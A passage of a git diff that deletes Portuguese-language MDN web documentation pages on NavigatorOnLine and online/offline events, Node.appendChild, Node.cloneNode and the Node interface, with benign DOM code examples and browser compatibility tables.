- <tr>
- <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
- <td>{{Spec2('HTML5 W3C')}}</td>
- <td>Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>on {{domxref("WorkerNavigator")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop(29)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>on {{domxref("WorkerNavigator")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(29)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>The {{domxref("Navigator")}} interface that implements it.</li>
- <li><a href="/en-US/docs/Web/API/NavigatorOnLine/Online_and_offline_events">Online and offline events</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html b/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html
deleted file mode 100644
index ad57eac34a..0000000000
--- a/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html
+++ /dev/null
@@ -1,98 +0,0 @@
----
-title: Eventos online e offline
-slug: Web/API/NavigatorOnLine/Online_and_offline_events
-tags:
- - AJAX
- - DOM
- - Desenvolvimento_Web
- - Todas_as_Categorias
-translation_of: Web/API/NavigatorOnLine/Online_and_offline_events
-original_slug: Web/API/NavigatorOnLine/Eventos_online_e_offline
----
-<p>O <a href="pt/Firefox_3_para_desenvolvedores">Firefox 3</a> implementou <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">eventos Online/Offline</a> da <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">especificação WHATWG Web Applications 1.0</a>.</p>
-
-<h3 id="Vis.C3.A3o_geral" name="Vis.C3.A3o_geral">Visão geral</h3>
-
-<p>Para construir uma boa aplicação web capaz de ser usada offline, você precisar saber quando sua aplicação está realmente offline. Casualmente, você pode também precisar saber quando a sua aplicação retornou ao estado 'online' novamente. Efetivamente, as exigências colapsam como tal:</p>
-
-<ol>
- <li>Você precisa saber quando o usuário torna-se online, então você pode re-sincronizar com o servidor.</li>
- <li>Você precisa saber quando o usuário está offline, então você pode estar seguro para fazer suas requisições do servidor e elas se enfileirarem para um tempo posterior.</li>
-</ol>
-
-<p>Este é o processo em que eventos online/offline ajudam a banalizar.</p>
-
-<h3 id="API" name="API">API</h3>
-
-<h4 id="navigator.onLine" name="navigator.onLine"><code>navigator.onLine</code></h4>
-
-<p><code><a href="pt/DOM/window.navigator.onLine">navigator.onLine</a></code> é uma propriedade que mantém um valor <code>true</code>/<code>false</code> (<code>true</code> para online, <code>false</code> para offline). Esta propriedade é atualizada sempre que o usuário trocar do "Modo Offline" selecionando o item correspondente do menu (Arquivo -&gt; Trabalhar Offline no Firefox).</p>
-
-<p>Adicionalmente, esta propriedade deve atualizar sempre que o navegador não for mais capaz de conectar a uma rede. De acordo com a especificação:</p>
-
-<blockquote cite="http://www.whatwg.org/specs/web-apps/current-work/#offline">O atributo <code>navigator.onLine</code> deve retornar falso se o agente de usuário não obtiver contato com a rede quando o usuário segue links ou quando<em>scripts</em> de uma página remota forem requisitados.</blockquote>
-
-<p>Firefox 2 atualiza esta propriedade quando trocando de/para o modo Offline do navegador, e quando perde/encontra conectividade com uma rede no Windows e Linux.</p>
-
-<p>Esta propriedade existe em antigas versões do Firefox e Internet Explorer (a especificação baseou-se fora destas implementações prévias), então você pode começar usando isto imediatamente. A detecção automática do estado da rede foi implementado no Firefox 2.</p>
-
-<h4 id="Eventos_.22online.22_e_.22offline.22" name="Eventos_.22online.22_e_.22offline.22">Eventos "<code>online</code>" e "<code>offline</code>"</h4>
-
-<p>O <a href="pt/Firefox_3_para_desenvolvedores">Firefox 3</a> introduz dois novos eventos: "<code>online</code>" e "<code>offline</code>". Estes dois eventos são colocados no <code>&lt;body&gt;</code> de cada página quando o navegador troca entre o modo online e offline. Adicionalmente, os eventos vão de <code>document.body</code>, para <code>document</code>, terminando em <code>window</code>. Ambos os eventos não são canceláveis (você não pode evitar o usuário de estar online, ou indo para offline).</p>
-
-<p>Você pode registrar ouvintes para estes eventos de algumas maneiras familiares:</p>
-
-<ul>
- <li>usando <code><a href="pt/DOM/element.addEventListener">addEventListener</a></code> em <code>window</code>, <code>document</code>, ou <code>document.body</code></li>
- <li>configurando as propriedades <code>.ononline</code> ou <code>.onoffline</code> em <code>document</code> ou <code>document.body</code> para um objeto <code>Function</code> JavaScript. (<strong>Nota:</strong> usando <code>window.ononline</code> ou <code>window.onoffline</code> você não trabalhará para razões de compatibilidade.)</li>
- <li>especificando os atributos <code>ononline="..."</code> ou <code>onoffline="..."</code> na etiqueta <code>&lt;body&gt;</code> na marcação HTML.</li>
-</ul>
-
-<h3 id="Exemplo" name="Exemplo">Exemplo</h3>
-
-<p>Há <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">um caso de teste simples</a> que você pode rodar para verificar se os eventos estão trabalhando. <span class="comment">XXX Quando os "mochitestes" para isto forem criados, apontar para este e atualizar este exemplo -nickolay</span></p>
-
-<pre class="eval"> &lt;!doctype html&gt;
- &lt;html&gt;
- &lt;head&gt;
- &lt;script&gt;
- function updateOnlineStatus(msg) {
- var status = document.getElementById("status");
- var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
- status.setAttribute("class", condition);
- var state = document.getElementById("state");
- state.innerHTML = condition;
- var log = document.getElementById("log");
- log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
- }
- function loaded() {
- updateOnlineStatus("load");
- document.body.addEventListener("offline", function () {
- updateOnlineStatus("offline")
- }, false);
- document.body.addEventListener("online", function () {
- updateOnlineStatus("online")
- }, false);
- }
- &lt;/script&gt;
- &lt;style&gt;...&lt;/style&gt;
- &lt;/head&gt;
- &lt;body onload="loaded()"&gt;
- &lt;div id="status"&gt;&lt;p id="state"&gt;&lt;/p&gt;&lt;/div&gt;
- &lt;div id="log"&gt;&lt;/div&gt;
- &lt;/body&gt;
- &lt;/html&gt;
-</pre>
-
-<h3 id="Refer.C3.AAncias" name="Refer.C3.AAncias">Referências</h3>
-
-<ul>
- <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">'Online/Offline events' section from the WHATWG Web Applications 1.0 Specification</a></li>
- <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">The bug tracking online/offline events implementation in Firefox</a> e um <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">follow-up</a></li>
- <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">A simple test case</a></li>
- <li><a class="external" href="http://ejohn.org/blog/offline-events/">An explanation of Online/Offline events</a></li>
-</ul>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/web/api/node/appendchild/index.html b/files/pt-pt/web/api/node/appendchild/index.html
deleted file mode 100644
index 401343d844..0000000000
--- a/files/pt-pt/web/api/node/appendchild/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: element.appendChild
-slug: Web/API/Node/appendChild
-tags:
- - Referência_do_DOM_Gecko
-translation_of: Web/API/Node/appendChild
-original_slug: DOM/element.appendChild
----
-<p>{{ ApiRef() }}</p>
-<h3 id="Sumario" name="Sumario">Sumario</h3>
-<p>Adiciona um novo nó (filho) a um determinado elemento (objeto)</p>
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-<pre class="eval"><i>element</i>.appendChild(<i>child</i>)
-</pre>
-<ul>
- <li><code>element</code> é o elemento pai.</li>
- <li><code>child</code> é o nó que será adicionado como filho de <code>element</code>.</li>
-</ul>
-<h3 id="Exemplo" name="Exemplo">Exemplo</h3>
-<pre>// Cria um novo Elemento(Objeto)
-var p = document.createElement("p");
-
-// Adiciona ao Elemento Body (este deverá existir!)
-document.body.appendChild(p);
-</pre>
-<h3 id="Notas" name="Notas">Notas</h3>
-<p>Se <code>child</code> é a referência para um nó ja existente no documento, <code>appendChild</code> moverá este para a nova posição (ou seja não é necessário remover um nó de uma posição para depois adicionar em outra). Isto significa que um nó não pode estar em dois lugares do documento ao mesmo tempo.</p>
-<p>Você pode usar também <a href="pt/DOM/element.cloneNode">cloneNode</a> para copiar este nó e depois adicioná-lo a outro elemento. (Observe que ao criar um objeto ultilizando <code>cloneNode</code> ou <code>createElement</code> este não fará parte do documento até você torna-lo parte deste usando appendChild ou método similar)</p>
-<p>Métodos relacionados : <a href="pt/DOM/element.insertBefore">insertBefore</a>, <a href="pt/DOM/element.replaceChild">replaceChild</a> and <a href="pt/DOM/element.removeChild">removeChild</a>. <span class="comment">&lt;code&gt;appendChild&lt;/code&gt; é um dos métodos essenciais na programação usando DOM. O método &lt;code&gt;appendChild&lt;/code&gt; insere um novo nó na estrutura DOM e este é a segunda parte da metodologia create-and-append.</span></p>
-<h3 id="Especifica.C3.A7.C3.A3o" name="Especifica.C3.A7.C3.A3o">Especificação</h3>
-<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-184E7107">DOM Level 2 Core: appendChild</a></p>
-<p>{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "pl": "pl/DOM/element.appendChild" } ) }}</p>
diff --git a/files/pt-pt/web/api/node/clonenode/index.html b/files/pt-pt/web/api/node/clonenode/index.html
deleted file mode 100644
index cca183e508..0000000000
--- a/files/pt-pt/web/api/node/clonenode/index.html
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: element.cloneNode
-slug: Web/API/Node/cloneNode
-translation_of: Web/API/Node/cloneNode
-original_slug: DOM/element.cloneNode
----
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>Retorna a cópia de um elemento.</p>
-
-<h3 id="Syntax" name="Syntax">Syntax</h3>
-
-<pre class="eval"><em>dupNode</em> = <em>element</em>.cloneNode(<em>deep</em>);
-</pre>
-
-<ul>
- <li><code>dupNode</code> é variável que receberá o nó gerado</li>
- <li><code>element</code> é o elemento pai (o elemento que contém o nó que será copiado)</li>
- <li><code>deep</code> é um valor boleano, obrigatório que indica de o a clone vai ser completo ou não (ver <a href="#Notas">notas</a>).</li>
-</ul>
-
-<h3 id="Example" name="Example">Example</h3>
-
-<pre>p = document.getElementById("diogok");
-p_prime = p.cloneNode(true);
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>Clonando um nó copiamos todos seus atributos e seus respectivos valores</p>
-
-<p>O nó clonado retornado por <code>cloneNode</code> não faz parte do documento enquanto não for adicionado a um outro nó que faça parte do documento usando <a href="/pt/DOM/element.appendChild" title="pt/DOM/element.appendChild">appendChild</a> ou outro método similar. Enquanto não for adicionado a um outro nó, será um nó sem pai. Ou seja, o clone não herda o pai do original.</p>
-
-<p>Se <code>deep</code> for <code>false</code>, nada sobre os nós filhos será clonado. <em>Qualquer texto contido no nó não será clonado junto</em>, já que o texto fica contido em nós de texto.</p>
-
-<p>Se <code>deep</code> for <code>true</code>, toda a subárvore (incluíndo texto) é copiado também. Para nós vazios (como os elementos IMG e INPUT) não importa qua valor que você coloque em <code>deep</code>, mas você ainda deve definir um valor</p>
-
-<p>Note que o cloneNode pode causar o problema de termos dois elementos com um mesmo id em um documento!</p>
-
-<p>Somente os eventos colocados em atributos inline são copiados. Os eventos adicionados após a renderização do nó via javascript não são copiados. <code> </code></p>
-
-<pre class="eval">var elms = document.getElementById('foo');
-elms.onclick = function(){
- alert('Eu não deveria ser copiado?');
-}
-var g = elms.cloneNode(true);
-g.id = 'foo2';
-g.style.top = '0px';
-document.body.appendChild(g);
-</pre>
-
-<p>No trecho de código acima o atributo <code>onclick</code> não é copiado. Nem mesmo com <code>addEventListener</code>.</p>
-
-<h3 id="Especifica.C3.A7.C3.A3o" name="Especifica.C3.A7.C3.A3o">Especificação</h3>
-
-<p><a class="external" href="http://w3.org/TR/DOM-Level-2-Core/core.html#ID-3A0ED0A4">DOM Level 2 Core: cloneNode</a></p>
diff --git a/files/pt-pt/web/api/node/index.html b/files/pt-pt/web/api/node/index.html
deleted file mode 100644
index 8c59f718ff..0000000000
--- a/files/pt-pt/web/api/node/index.html
+++ /dev/null
@@ -1,407 +0,0 @@
----
-title: Node
-slug: Web/API/Node
-tags:
- - API
- - DOM
- - Element
- - Interface
- - Node
- - WebAPI
-translation_of: Web/API/Node
----
-<div>
- {{Apiref}}</div>
-<p><code><strong>Node </strong></code>é uma interface da qual uma varidade de tipos do DOM herdam e permite que estes vários tipos seja tratados (ou testados) de forma similar.</p>
-<p>As seguintes interfaces todas herdam de <code>Node</code> os seus métodos e propriedades:{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} (que {{domxref("Text")}}, {{domxref("Comment")}}, e {{domxref("CDATASection")}} herdam), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}</p>
-<p>Estas interfaces podem retornar <code>null</code> em casos particulares, em que estes métodos e propriedades não são relevantes. Podem lançar uma excepção - por exempo, ao adicionar nós-filho a um tipo de nó para o qual não está prevista a existência de nós descendentes.</p>
-<p> </p>
-<h2 id="Propriedades">Propriedades</h2>
-<p><em>Herda propriedades do seu pai {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
-<dl>
- <dt>
- {{domxref("Node.attributes")}} {{deprecated_inline}}</dt>
- <dd>
- ...</dd>
- <dt>
- {{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
- <dd>
- Retorna uma {{domxref("DOMString")}} que represente o URL base. O conceito de URL base varia de língua para língua; em HTML corresponde: ao protocolo, nome do domínio e estrutura de directórios, ou seja, tudo até à última '<code>/</code>'.</dd>
- <dt>
- {{domxref("Node.baseURIObject")}} {{Non-standard_inline()}}</dt>
- <dd>
- (Não disponível para conteúdo Web). O objecto {{ Interface("nsIURI") }} apenas de leitura representa o URI base para o elemento.</dd>
- <dt>
- {{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
- <dd>
- Retorna uma {{domxref("NodeList")}} activa quem contém todos os descendentes desse nó. Sendo {{domxref("NodeList")}} uma lista activa, significa que os descendentes do <code>Node</code> mudam, o objecto {{domxref("NodeList")}} é automaticamente actualizado.</dd>
- <dt>
- {{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
- <dd>
- Retorna um {{domxref("Node")}} que representa o primeiro descendente directo do nó ou <code>null</code> se o nó não tiver descendentes.</dd>
- <dt>
- {{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
- <dd>
- Retorna um {{domxref("Node")}} que representa o último descendente directo do <code>Node, </code>ou <code>null</code> caso o <code>node</code> não tenha descendentes.</dd>
- <dt>
- {{domxref("Node.localName")}} {{readonlyInline}}{{obsolete_inline}}</dt>
- <dd>
- Retorna uma {{domxref("DOMString")}} que representa a parte local do nome qualificado do elemento. No Firefox 3.5 e anteriores, a propriedade exibe o nome local do elemento HTML em maiúsculas (mas não o faz para elementos XHTML). Em versões posteriores, isto não se verifica, portanto a propriedade é exibida em letras minúsculas para ambos HTML e XHTML. {{ gecko_minversion_inline("1.9.2") }}. Apesar da especificação requerer que <code>localName</code> seja definido no interface {{domxref("Node")}}, browsers Gecko-based implementam-no no interface {{domxref("Element")}}.</dd>
- <dt>
- {{domxref("Node.namespaceURI")}} {{readonlyInline}}{{obsolete_inline}}</dt>
- <dd>
- O URI do namspace do <code>node</code> em causa, ou <code>null, </code>se não possuir<code> namespace</code>. No Firefox 3.5 e anteriores, elementos HTML não se encontravam em qualquer namespace. Em versões posteriores, elementos HTML estão no namespace <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> quer na tree de HTML, quer na de XHTML {{ gecko_minversion_inline("1.9.2") }}</dd>
- <dd>
- Apesar da especificação requerer <code>namespaceURI</code> definido no interface {{domxref("Node")}}, browsers Gecko-based implementam-no no interface {{domxref("Element")}}.</dd>
- <dt>
- {{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
- <dd>
- Retorna um {{domxref("Node")}} que representa o próximo <code>node</code> na tree, ou <code>null</code> caso esse <code>node</code> não exista.</dd>
- <dt>
- {{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
- <dd>
- Retorna uma {{domxref("DOMString")}} que contém o nome do <code>Node</code>. A estrutura do nome difere do tipo do nome. Exemplo: um {{domxref("HTMLElement")}} irá conter o nome da tag correspondente, como <code>'audio'</code> para um {{domxref("HTMLAudioElement")}}, um {{domxref("Text")}} node irá ter a string <code>'#text'</code>, ou então um {{domxref("Document")}} node irá ter uma string <code>'#document'</code>.</dd>
- <dt>
- {{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}</dt>
- <dd>
- Um {{ Interface("nsIPrincipal") }} representa um node principal.</dd>
- <dt>
- {{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
- <dd>
- Retorna um <code>unsigned short</code> que representa o tipo de node. Os valores possíveis são:<br>
- <table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Nome</th>
- <th scope="col">Valor</th>
- </tr>
- <tr>
- <td><code>ELEMENT_NODE</code></td>
- <td><code>1</code></td>
- </tr>
- <tr>
- <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
- <td><code>2</code></td>
- </tr>
- <tr>
- <td><code>TEXT_NODE</code></td>
- <td><code>3</code></td>
- </tr>
- <tr>
- <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
- <td><code>4</code></td>
- </tr>
- <tr>
- <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
- <td><code>5</code></td>
- </tr>
- <tr>
- <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
- <td><code>6</code></td>
- </tr>
- <tr>
- <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
- <td><code>7</code></td>
- </tr>
- <tr>
- <td><code>COMMENT_NODE</code></td>
- <td><code>8</code></td>
- </tr>
- <tr>
- <td><code>DOCUMENT_NODE</code></td>
- <td><code>9</code></td>
- </tr>
- <tr>
- <td><code>DOCUMENT_TYPE_NODE</code></td>
- <td><code>10</code></td>
- </tr>
- <tr>
- <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
- <td><code>11</code></td>
- </tr>
- <tr>
- <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
- <td><code>12</code></td>
- </tr>
- </tbody>
- </table>
- </dd>
- <dt>
- {{domxref("Node.nodeValue")}}</dt>
- <dd>
- É a {{domxref("DOMString")}} que representa o valor de um objecto. Para a maioria dos tipos de <code>Node</code>, isto retorna <code>null</code> e qualquer operação é ignorada. Para nodes do tipo <code>TEXT_NODE</code> (objectos {{domxref("Text")}}), <code>COMMENT_NODE</code> ({{domxref("Comment")}} objects), e <code>PROCESSING_INSTRUCTION_NODE</code> ({{domxref("ProcessingInstruction")}} objects), o valor corresponde ao valor textual contido no objecto.</dd>
- <dt>
- {{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
- <dd>
- Retorna o {{domxref("Document")}} a que este node pertence. Se nenhum documento está associado com este, retorna <code>null</code>.</dd>
- <dt>
- {{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
- <dd>
- Retorna um {{domxref("Node")}} que é o ascendente deste node. Se não existir tal node, como por exemplo se este node se encontra no nível raiz da tree ou se não consta nesta, esta propriedade retorna <code>null</code>.</dd>
- <dt>
- {{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
- <dd>
- Retorna um {{domxref("Element")}} que é o ascendente deste node. Caso este node não tenha ascendente ou se o seu ascendente não é um {{domxref("Element")}}, esta propriedade retorna <code>null</code>.</dd>
- <dt>
- {{domxref("Node.prefix")}} {{obsolete_inline}}</dt>
- <dd>
- É uma {{domxref("DOMString")}} que representa o prefixo do namespace do node, ou <code>null</code> caso nenhum prefixo seja especificado.</dd>
- <dd>
- Apesar da especificação requerer <code>localName</code> para ser definida no interface {{domxref("Node")}}, browsers Gecko-based implementam-no no interface {{domxref("Element")}}.</dd>
- <dt>
- {{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
- <dd>
- Retorna um {{domxref("Node")}} que representa o node anterior na tree ou <code>null</code> caso o node não exista.</dd>
- <dt>
- {{domxref("Node.textContent")}}</dt>
- <dd>
- É uma {{domxref("DOMString")}} que representa o valor textual de um elemento e todos os seus descendentes.</dd>
-</dl>
-<h2 id="Métodos">Métodos</h2>
-<p><em>Herda métodos dos seus pais {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
-<dl>
- <dt>
- {{domxref("Node.appendChild()")}}</dt>
- <dd>
- Insere um {{domxref("Node")}} como último descendente do elemento em causa.</dd>
- <dt>
- {{domxref("Node.cloneNode()")}}</dt>
- <dd>
- Clona um {{domxref("Node")}} e, opcionalmente, todo o seu conteúdo. Por omissão, clona o conteúdo do node.</dd>
- <dt>
- {{domxref("Node.compareDocumentPosition()")}}</dt>
- <dd>
-  </dd>
- <dt>
- {{domxref("Node.contains()")}}</dt>
- <dd>
-  </dd>
- <dt>
- {{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
- <dd>
- ...</dd>
- <dt>
- {{domxref("Node.getUserData()")}} {{deprecated_inline}}</dt>
- <dd>
- Permite ao utilizador extrair alguma {{domxref("DOMUserData")}} do node.</dd>
- <dt>
- {{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
- <dd>
- Retorna um {{domxref("Boolean")}} que indica se o elemento tem atributos ou não.</dd>
- <dt>
- {{domxref("Node.hasChildNodes()")}}</dt>
- <dd>
- Retorna um {{domxref("Boolean")}} que indica se o elemento tem descendentes ou não.</dd>
- <dt>
- {{domxref("Node.insertBefore")}}</dt>
- <dd>
- Insere o primeiro {{domxref("Node")}} dado num parâmetro imediatamente antes do segundo descendente deste {{domxref("Node")}}.</dd>
- <dt>
- {{domxref("Node.isDefaultNamespace")}}</dt>
- <dd>
-  </dd>
- <dt>
- {{domxref("Node.isEqualNode")}}</dt>
- <dd>
-  </dd>
- <dt>
- {{domxref("Node.isSameNode")}} {{obsolete_inline}}</dt>
- <dd>
-  </dd>
- <dt>
- {{domxref("Node.isSupported")}} {{deprecated_inline}}</dt>
- <dd>
- Retorna uma flag <a href="https://developer.mozilla.org/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a> que contém o resultado de um teste à implementação do DOM para aferir o suporte deste ou do node a uma determinada propriedade.</dd>
- <dt>
- {{domxref("Node.lookupPrefix")}}</dt>
- <dd>
-  </dd>
- <dt>
- {{domxref("Node.lookupNamespaceURI")}}</dt>
- <dd>
-  </dd>
- <dt>
- {{domxref("Node.normalize")}}</dt>
- <dd>
- Limpa todos os nodes textuais abaixo deste (converge os adjacentes e remove os vazios)</dd>
- <dt>
- {{domxref("Node.removeChild")}}</dt>
- <dd>
- Remove um node descendenter do elemento actual. Este deve ser um descendente do node actual.</dd>
- <dt>
- {{domxref("Node.replaceChild")}}</dt>
- <dd>
- Substitui um {{domxref("Node")}} descendente do actual com o fornecido no segundo parâmetro.</dd>
- <dt>
- {{domxref("Node.setUserData")}} {{deprecated_inline}}</dt>
- <dd>
- Permite a um utilizador anexar, ou remover {{domxref("DOMUserData")}} do node.</dd>
- <dd>
-  </dd>
-</dl>
-<h2 id="Exemplos">Exemplos</h2>
-<h3 id="Percorrer_todos_os_nodes_descendentes">Percorrer todos os nodes descendentes</h3>
-<p>A seguinte função itera sobre os nodes descendentes de um node recursivamente e executa uma função de callback sobre os mesmos (e sobre o próprio node-pai).</p>
-<pre class="brush: js">function DOMComb (oParent, oCallback) {
-  if (oParent.hasChildNodes()) {
-    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
-      DOMComb(oNode, oCallback);
-    }
-  }
-  oCallback.call(oParent);
-}</pre>
-<h4 id="Síntaxe">Síntaxe</h4>
-<pre>DOMComb(parentNode, callbackFunction);</pre>
-<h4 id="Descrição">Descrição</h4>
-<p>Recursivamente iterar sobre os nodes descendentes de um <code>parentNode </code>e o próprio <code>parentNode</code>, executando uma <code>callbackFunction</code> sobre estes como objectos <a href="/en-US/docs/JavaScript/Reference/Operators/this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>this</code></a>.</p>
-<h4 id="Parâmetros">Parâmetros</h4>
-<dl>
- <dt>
- <code>parentNode</code></dt>
- <dd>
- O node ascendente (<code><strong>Node</strong> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>).</dd>
- <dt>
- <code>callbackFunction</code></dt>
- <dd>
- A função de callback (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
-</dl>
-<h4 id="Exemplo_de_utilização">Exemplo de utilização</h4>
-<p>O exemplo seguinte envia para a <code>console.log </code>o conteúdo textual do body:</p>
-<pre class="brush: js">function printContent () {
-  if (this.nodeValue) { console.log(this.nodeValue); }
-}
-
-onload = function () {
-  DOMComb(document.body, printContent);
-};</pre>
-<h2 id="Especificações">Especificações</h2>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
- <td>{{Spec2('DOM WHATWG')}}</td>
- <td>Removidas as seguintes propriedades: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, e <code>localName</code>.<br>
- Removidos os seguintes métodos: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>isSameNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, e <code>getUserData()</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
- <td>{{Spec2('DOM3 Core')}}</td>
- <td>Os métodos <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, e <code>appendChild()</code> retornam mais um tipo de erro  (<code>NOT_SUPPORTED_ERR</code>) caso sejam chamados no {{domxref("Document")}}.<br>
- O método <code>normalize()</code> foi modificado para que o node {{domxref("Text")}} possa também ser normalizado se a flag correcta de {{domxref("DOMConfiguration")}} estiver definida.<br>
- Adicionados os seguintes métodos: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, e <code>getUserData().</code><br>
- Adicionadas as seguintes propriedades: <code>baseURI</code> e <code>textContent</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
- <td>{{Spec2('DOM2 Core')}}</td>
- <td>A propriedade <code>ownerDocument</code> foi ligeiramente alterada para que um  {{domxref("DocumentFragment")}} possa também retornar <code>null</code>.<br>
- Adicionadas as seguintes propriedades: <code>namespaceURI</code>, <code>prefix</code>, e <code>localName</code>.<br>
- Adicionados os seguintes métodos: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
- <td>{{Spec2('DOM1')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-<p> </p>
-<h2 id="Compatibilidade_por_browser">Compatibilidade por browser</h2>
-<p>{{CompatibilityTable}}</p>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Característica</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
